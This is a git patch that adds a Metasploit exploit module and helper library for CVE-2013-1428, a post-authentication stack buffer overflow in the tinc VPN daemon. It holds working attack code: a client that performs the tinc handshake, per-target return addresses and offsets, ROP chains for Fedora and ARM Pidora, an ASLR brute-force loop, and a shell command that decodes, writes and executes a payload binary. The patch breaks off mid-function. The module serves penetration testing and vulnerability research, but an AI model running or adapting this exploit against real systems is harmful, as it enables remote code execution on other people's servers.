From 9d848c8c3ba854c6ff0d8b0be34eb2c7a3009adc Mon Sep 17 00:00:00 2001 From: floyd Date: Wed, 11 Dec 2013 17:22:57 +0100 Subject: [PATCH 1/4] Adding tincd post-auth stack buffer overflow exploit module for several OS Minor changes to comments Updated URLs Added Fedora ROP, cleaned up Fixing URLs again, typos Added support for Archlinux (new target) Added support for OpenSuse (new target) Tincd is now a separate file, uses the TCP mixin/REX sockets. Started ARM exploiting Style changes, improvements according to egyp7's comments Style changes according to sane rubocop messages RSA key length other than 256 supported. Different key lengths for client/server supported. Drop location for binary can be customized Refactoring: Replaced pop_inbuffer with slice Refactoring: fail_with is called, renamed method to send_recv to match other protocol classes, using rand_text_alpha instead of hardcoded \x90, Fixed fail command usage Version exploiting ARM with ASLR brute force Cleaned up version with nicer program flow More elegant solution for data too large for modulus Minor changes in comments only (comment about firewalld) Correct usage of the TCP mixin Fixes module option so that the path to drop the binary on the server is not validated against the local filesystem Added comments Minor edits Space removal at EOL according to msftidy --- lib/msf/core/exploit/mixins.rb | 1 + lib/msf/core/exploit/tincd.rb | 343 +++++++++++++++ modules/exploits/multi/vpn/tincd_bof.rb | 527 ++++++++++++++++++++++++ 3 files changed, 871 insertions(+) create mode 100644 lib/msf/core/exploit/tincd.rb create mode 100644 modules/exploits/multi/vpn/tincd_bof.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 7599c46711..d2b8c575c6 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -59,6 +59,7 @@ require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' require 'msf/core/exploit/sip' +require 'msf/core/exploit/tincd' # Telephony require 'msf/core/exploit/dialup' diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb new file mode 100644 index 0000000000..19cb34ba2f --- /dev/null +++ b/lib/msf/core/exploit/tincd.rb @@ -0,0 +1,343 @@ +require 'msf/core' +require 'msf/core/exploit/tcp' + +require 'securerandom' +require 'openssl' +require 'digest/sha1' + +module Msf +# This module does a handshake with a tincd server and sends one padded packet +# Author: Tobias Ospelt @floyd_ch +module Exploit::Remote::TincdExploitClient + include Msf::Exploit::Remote::Tcp + + BF_BLOCKSIZE = 64 / 8 + BF_KEY_LEN = 16 + BF_IV_LEN = 8 + + # + # Module options + # + def initialize(info = {}) + super + register_options( + [Opt::RPORT(655), + # As this is only for post-auth exploits, you should know the value of the + # following variables by simply checking + # your configuration. + OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']), + OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']), + # You should see CLIENT_NAME in cleartext in the first message to the + # server by your usual tinc client (tcpdump or + # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server, + # this is located in the config folder, e.g. in FreeBSD + # there is the client public key file /usr/local/etc/tinc/hosts/home + # for the client "home" + # If you don't have a clue, maybe just try the filename of your private + # key without file extension + OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , '']) + ], self + ) + end + + # + # Setting up variables and calling cipher inits with file paths from configuration + # + def setup_ciphers + @state = :idState + @buffer = '' + @inbuffer = '' + @encryption_queue = [] + + @packet_payload = nil + @keep_reading_socket = false + + @server_key_len = nil + @client_key_len = nil + @client_private_key_cipher = nil + @hex_enc_key_s1 = nil + @bf_enc_cipher = nil + init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE']) + vprint_status('Ciphers locally initalized, private key and public key files seem to be ok') + @bf_dec_cipher = nil + end + + # + # The main method that will be called that will call other methods to send first message + # and continously read from socket and ensures TCP disconnect at the end + # + def send_recv(packet_payload) + @packet_payload = packet_payload + @keep_reading_socket = true + connect + begin + # send the first message + id + # Condition to get out of the while loop: ackState to false. Unsafe? Maybe a timeout? + while @keep_reading_socket + process_data(sock.get_once) + end + rescue Errno::ECONNRESET + if @state == :metakeyState + fail 'Server reset the connection. Probably rejecting '\ + 'the private key and/or client name (e.g. client name not associated '\ + 'with client public key on server side). '\ + 'Wrong server public key possible too. '\ + 'Please recheck client name, client private key and '\ + 'server public key.' + else + fail 'Server reset the connection, reason unknown.' + end + ensure + disconnect + end + end + + # + # Reading of certificate files and parsing them, generation of random keys + # and intialization of OFB mode blowfish cipher + # + def init_ciphers(server_file, client_file) + server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) + @server_key_len = server_public_key_cipher.n.num_bytes + @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file)) + @client_key_len = @client_private_key_cipher.n.num_bytes + vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge") + vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length") + + # we don't want this to happen here: + # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError) + # simple solution: choose the key_s1 with a leading zero byte + key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1) + enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING) + + @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0] + + offset_key = @server_key_len - BF_KEY_LEN + offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN + bf_enc_key = key_s1[offset_key...@server_key_len] + bf_enc_iv = key_s1[offset_iv...offset_key] + + @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB') + @bf_enc_cipher.encrypt + @bf_enc_cipher.key = bf_enc_key + @bf_enc_cipher.iv = bf_enc_iv + + # #Looks like ruby openssl supports other lengths than multiple of 8! + # test = @bf_enc_cipher.update('A'*10) + # test << @bf_enc_cipher.final + # puts "Testing cipher: "+test.unpack('H*')[0] + end + + # + # Depending on the state of the protocol handshake and the data we get back + # from the server, this method will decide which message has to be sent next + # + def process_data(data) + unless data.nil? + @inbuffer += data + end + case @state + when :idState + if line? + data = read_line + vprint_status("Received ID from server: [#{data[0..30]}]") + @state = :metakeyState + # next expected state + metakey + end + when :metakeyState + if line? + data = read_line + vprint_status("Received Metakey from server: [#{data[0..30]}...]") + data = data.split(' ') + fail 'Error in protocol. The first byte should be an ASCII 1.' unless data[0] == '1' + hexkey_s2 = data[5].rstrip # ("\n") + fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 + @enckey_s2 = [hexkey_s2].pack('H*') + key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING) + + # metakey setup according to protocol_auth.c + # if(!EVP_DecryptInit(c->inctx, c->incipher, + # (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer + # (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer + # )) + offset_key = @client_key_len - BF_KEY_LEN + offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN + bf_dec_key = key_s2[offset_key...@client_key_len] + bf_dec_iv = key_s2[offset_iv...offset_key] + + @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB' + @bf_dec_cipher.encrypt + @bf_dec_cipher.key = bf_dec_key + @bf_dec_cipher.iv = bf_dec_iv + # don't forget, it *does* matter if you do a + # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. + vprint_status('Metakey handshake/exchange completed') + @state = :challengeState + challenge + end + when :challengeState + need_len = 2 * @client_key_len + 3 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge from server: "\ + "[#{data.unpack('H*')[0][0..30]}...]") + data = data.split(' ', 2) + fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data[0] == '2' + challenge2 = data[1][0...2 * @client_key_len] + challenge2 = [challenge2].pack('H*') + fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len + @state = :challengeReplyState + challenge_reply(challenge2) + end + when :challengeReplyState + need_len = 43 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge reply from server:"\ + " [#{data.unpack('H*')[0][0..30]}...]") + @state = :ackState + ack + end + when :ackState + need_len = 12 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received ack (server accepted challenge response):"\ + "[#{data.unpack('H*')[0][0..30]}...]") + @state = :doneState + send_packet + end + end + end + + # + # Encryption queue where waiting data gets encrypted and afterwards + # the remaining messages get sent + # + def handle_write + # handle encryption queue first + if @encryption_queue.length > 0 + msg = @encryption_queue[0] + @encryption_queue.delete_at(0) + @buffer = @bf_enc_cipher.update(msg) + @buffer << @bf_enc_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to encrypt the next block. + end + + if @buffer.length > 0 + sent = send_data(@buffer) + vprint_status("Sent #{sent} bytes: "\ + "[#{@buffer.unpack('H*')[0][0..30]}...]") + @buffer = @buffer[sent..@buffer.length] + end + end + + # + # Simple socket put/write + # + def send_data(buf) + sock.put(buf) + end + + # + # Decryption method to process data sent by server + # + def pop_inbuffer_and_decrypt(size) + # In ruby openssl OFM works not only on full blocks, but also on + # parts. Therefore no worries like in pycrypto and no + # modified decrypt routine, simply use the cipher as is. + data = @bf_dec_cipher.update(@inbuffer.slice!(0, size)) + data << @bf_dec_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to decrypt the next block. + end + + # + # Read up to the next newline from the data the server sent + # + def read_line + idx = @inbuffer.index("\n") + data = @inbuffer.slice!(0, idx) + @inbuffer.lstrip! + return data + end + + # + # Check if we already received a newline, meaning we got an + # entire message for the next protocol step + # + def line? + !@inbuffer.match("\n").nil? + end + + # + # Start message method after TCP handshake + # + def id + msg = "0 #{datastore['CLIENT_NAME']} 17.0\n" + vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]") + @buffer += msg + handle_write + end + + # + # Sending metakey (transferring a symmetric key that will get encrypted with + # public key before beeing sent to the server) + # + def metakey + msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n" + vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]") + @buffer += msg + handle_write + end + + # + # Send challenge random bytes + # + def challenge + vprint_status('Sending challenge (ciphertext)') + challenge = SecureRandom.random_bytes(@server_key_len) + msg = "2 #{challenge.unpack('H*')[0]}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Reply to challenge that was sent by server + # + def challenge_reply(challenge2) + vprint_status('Sending challenge reply (ciphertext)') + h = Digest::SHA1.hexdigest(challenge2) + msg = "3 #{h.upcase}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Ack state to signalise challenge/response was successfull + # + def ack + vprint_status('Sending ack (signalise server that we accept challenge'\ + 'reply, ciphertext)') + @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") + handle_write + end + + # + # Sending a packet inside the VPN connection after successfull protocol setup + # + def send_packet + vprint_status('Protocol finished setup. Going to send packet.') + msg = "17 #{@packet_payload.length}\n#{@packet_payload}" + plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE) + # padding + msg += 'B' * plen + @encryption_queue.push(msg) + @keep_reading_socket = false + handle_write + end +end +end diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb new file mode 100644 index 0000000000..6926875582 --- /dev/null +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -0,0 +1,527 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'securerandom' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::TincdExploitClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Tinc's tincd + service. After authentication, a specially crafted tcp packet (default port 655) + leads to a buffer overflow and allows to execute arbitrary code. This module has + been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 + (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of + FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works + for all versions <= 1.1pre6. + A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to + be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd + was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module + it was recommended to the maintainer to start using DEP/ASLR and other protection + mechanisms. + }, + 'Author' => + [ + # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module + 'Tobias Ospelt ', # @floyd_ch + # original finding, python PoC crash + 'Martin Schobert ' # @nitram2342 + ], + 'References' => + [ + ['CVE', '2013-1428'], + ['OSVDB', '92653'], + ['BID', '59369'], + ['URL', 'http://www.floyd.ch/?p=741'], + ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], + ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'Space' => 1675, + 'DisableNops' => true + }, + 'Privileged' => true, + 'Targets' => + [ + # full exploitation x86: + ['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }], + ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', { + 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', { + 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }], + ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }], + # full exploitation ARM: + ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + # crash only: + ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }] + ], + 'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013 + 'DefaultTarget' => 0)) + + register_options( + [ # Only for shellcodes that write binary to disk + # Has to be short, usually either . or /tmp works + # /tmp could be mounted as noexec + # . is usually only working if tincd is running as root + OptString.new('BINARY_DROP_LOCATION', [false, 'Location to drop executable on server, usually /tmp or .', '/tmp']), + OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), + OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) + ], self + ) + end + + def exploit + # # + # x86 + # # + # WINDOWS XP and 7 full exploitation + # Simple, we only need some mona.py magic + # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5" + # !mona config -set workingfolder c:\logs\%p + # !mona pc 1682 + # --> C:\logs\tincd\pattern + # !mona findmsp + # Straight forward, when we overwrite EIP the second value + # on the stack is pointing to our payload. + # !mona findwild -o -type instr -s "pop r32# ret" + + # FREEBSD full exploitation + # Same offset as windows, same exploitation method + # But we needed a new pop r32# ret for the freebsd version + # No mona.py help on bsd or linux so: + # - Dumped .text part of tincd binary in gdb + # - Search in hex editor for opcodes for "pop r32# ret": + # 58c3, 59c3, ..., 5fc3 + # - Found a couple of 5dc3. ret = start of .text + offset in hex editor + # - 0x0804BABB works very well + + # UBUNTU crash only + # Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because + # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known + # at compile time. gcc is introducing a call to __memcpy_chk: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print + # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed + # from the repository. It might be exploitable for versions compiled with an older version of gcc. + # memcpy_chk seems to be in gcc since 2005: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088 + + # OPENSUSE + # OpenSuse 11.2 + # Installation as described on the tincd website. For 11.2 there are two versions. + # Decided for 1.0.16 as this is a vulnerable version + # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm" + # rpm -i tinc-1.0.16-3.1.i586.rpm + # Again, strace shows us that the buffer overflow was detected (see Ubuntu) + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # So a crash-only non-exploitable bof here. So let's go for manual install: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install + # Exploitable. Let's see: + # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means: + # the offset to pop ebp; ret is 0x0804b07f + + # FEDORA + # Fedora 16 + # yum has version 1.0.19 + # yum install tinc + # Non-exploitable crash, see Ubuntu. Strace tells us: + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23 + # Manual compile went on with Fedora 19 + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install + # Don't forget to stop firewalld for testing, as the port is still closed otherwise + # # hardening-check tincd + # tincd: + # Position Independent Executable: no, normal executable! + # Stack protected: no, not found! + # Fortify Source functions: no, only unprotected functions found! + # Read-only relocations: yes + # Immediate binding: no, not found! + # Running this module with target set to Windows: + # Program received signal SIGSEGV, Segmentation fault. + # 0x0041caa6 in ?? () + # well and that's our windows offset... + # (gdb) info proc mappings + # 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd + # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we + # can try to execute the payload on the stack, but: + # (gdb) stepi + # Program received signal SIGSEGV, Segmentation fault. + # 0x08e8ee08 in ?? () + # Digging deeper we find: + # dmesg | grep protection + # [ 0.000000] NX (Execute Disable) protection: active + # or: + # # objdump -x /usr/local/sbin/tincd + # [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 + # filesz 0x00000000 memsz 0x00000000 flags rw- + # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365 + # Time for ROP + # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode + # as a pointer to instructions). Was lucky after some searching: + # (gdb) x/10i 0x4d10ee87 + # 0x4d10ee87: pop %ebx + # 0x4d10ee88: mov $0xf5d299dd,%eax + # 0x4d10ee8d: rcr %cl,%al + # 0x4d10ee8f: pop %esp + # 0x4d10ee90: ret + + # ARCHLINUX + # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # pacman -S gcc zlib lzo openssl make && ./configure && make && make install + # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000 + # -->Ret: 0x8065929 + # No NX protection, it simply runs the shellcode :) + + # # + # ARM + # # + # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi + # Although this is more for the interested reader, as Pidora development + # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs + # meaning it's an ARMv6 architecture + # yum has fixed version 1.0.21, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install + # Is the binary protected? + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/local/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd + # so again NX... but what about the system things? + # cat /proc/sys/kernel/randomize_va_space + # 2 + # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. + # This is the default setting." + # Here some examples of the address of the system function: + # 0xb6c40848 + # 0xb6cdd848 + # 0xb6c7c848 + # Looks like we would have to brute force one byte + # (gdb) info proc mappings + # 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd + # 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd + # When we exploit we get the following: + # Program received signal SIGSEGV, Segmentation fault. + # 0x90909090 in ?? () + # ok, finally a different offset to eip. Let's figure it out: + # $ tools/pattern_create.rb 1676 + # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get: + # (gdb) break *0x9000 + # Breakpoint 1 at 0x9000 + # See that our shellcode is *on* the stack: + # (gdb) x/10x $sp + # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698 + # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode + # 0xbee14328: 0xe3a02006 0xe3a07001 + # let's explore the code we can reuse: + # (gdb) info functions + # objdump -d /usr/local/sbin/tincd >assembly.txt + # while simply searching for the bx instruction we were not very lucky, + # but searching for some "pop pc" it's easy to find nice gadgets. + # we can write arguments to the .data section again: + # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS + # The problem is we can not reliably forecast the system function's address, but it's + # only one byte random, therefore we have to brute force it and/or find a memory leak. + # Let's assume it's a restarting daemon: + # create /etc/systemd/system/tincd.service and fill in Restart=restart-always + + # ARM Debian Wheezy on qemu + # root@debian:~# apt-cache showpkg tinc + # Package: tinc + # Versions: + # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages) + # nice, that's vulnerable + # apt-get install tinc + # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd + # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here + + packet_payload = payload.encoded + # Pidora and Fedora/ROP specific things + if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/ + rop_generator = nil + filename = rand_text_alpha(1) + cd = "cd #{datastore['BINARY_DROP_LOCATION']};" + cd = '' if datastore['BINARY_DROP_LOCATION'] == '.' + + if target.name =~ /Pidora 18/ + print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18') + print_status('This requires a restarting tincd daemon!') + print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore') + rop_generator = method(:create_pidora_rop) + elsif target.name =~ /Fedora 19/ + print_status('Using ROP to defeat NX on Fedora 19') + rop_generator = method(:create_fedora_rop) + end + + if target.arch.include? ARCH_CMD + # The CMD payloads are a bit tricky on Fedora. As of december 2013 + # some of the generic unix payloads (e.g. reverse shell with awk) don't work + # (even when executed directly in a terminal on Fedora) + # use generic/custom and specify PAYLOADSTR without single quotes + # it's usually sh -c *bla* + packet_payload = create_fedora_rop(payload.encoded.split(' ', 3)) + else + # the binary drop payloads + packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator) + if packet_payload.length > target['offset'] + print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version") + packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + vprint_status("Achieved version with #{packet_payload.length} bytes") + end + end + end + + if packet_payload.length > target['offset'] + fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.") + end + injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V') + + vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...") + + if target.name =~ /Pidora 18/ + # we have to brute force to defeat ASLR + datastore['BRUTEFORCE_TRIES'].times do + print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)") + setup_ciphers + print_status('Telling tinc exploit client to connect, handshake and send the payload') + begin + send_recv(injection) + rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error + print_error(runtime_error.message) + print_error(runtime_error.backtrace.join("\n\t")) + rescue Rex::ConnectionRefused + print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.') + sleep(3) + next + end + secs = datastore['WAIT'] + print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)") + sleep(secs) + end + print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.") + else + # Setup local ciphers + print_status('Initializing tinc exploit client (setting up ciphers)') + setup_ciphers + # The tincdExploitClient will do the crypto handshake with the server and + # send the injection (a packet), where the actual buffer overflow is triggered + print_status('Telling tinc exploit client to connect, handshake and send the payload') + send_recv(injection) + end + print_status('Exploit finished') + end + + def get_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_base64 = Rex::Text.encode_base64(generate_payload_exe) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe)) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def create_pidora_rop(sys_execv_args) + sys_execv_args = sys_execv_args.join(' ') + sys_execv_args += "\x00" + + aslr_byte_guess = SecureRandom.random_bytes(1).ord + print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)") + + # Gadgets tincd + # c714: e1a00004 mov r0, r4 + # c718: e8bd8010 pop {r4, pc} + mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V') + pop_r4_ret = [0x0000c718].pack('V') + # 1cef4: e580400c str r4, [r0, #12] + # 1cef8: e8bd8010 pop {r4, pc} + # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V') + + # bba0: e5843000 str r3, [r4] + # bba4: e8bd8010 pop {r4, pc} + mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V') + + # 13ccc: e1a00003 mov r0, r3 + # 13cd0: e8bd8008 pop {r3, pc} + pop_r3_ret = [0x00013cd0].pack('V') + + # address to start rop (removing 6 addresses of garbage from stack) + # 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc} + # start_rop = [0x00015cb4].pack('V') + # see target Ret + + # system function address base to brute force + # roughly 500 tests showed addresses between + # 0xb6c18848 and 0xb6d17848 (0xff distance) + system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V') + + # pointer into .data section + loc_dot_data = 0x0002b3f0 # a location inside .data + + # Rop into system(), prepare address of payload in r0 + rop = '' + + # first, let's put the payload into the .data section + + # Put the first location to write to in r4 + rop += pop_r4_ret + + sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Give location inside .data via stack + rop += [loc_dot_data + i * 4].pack('V') + # Pop 4 bytes of the command into r3 + rop += pop_r3_ret + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + 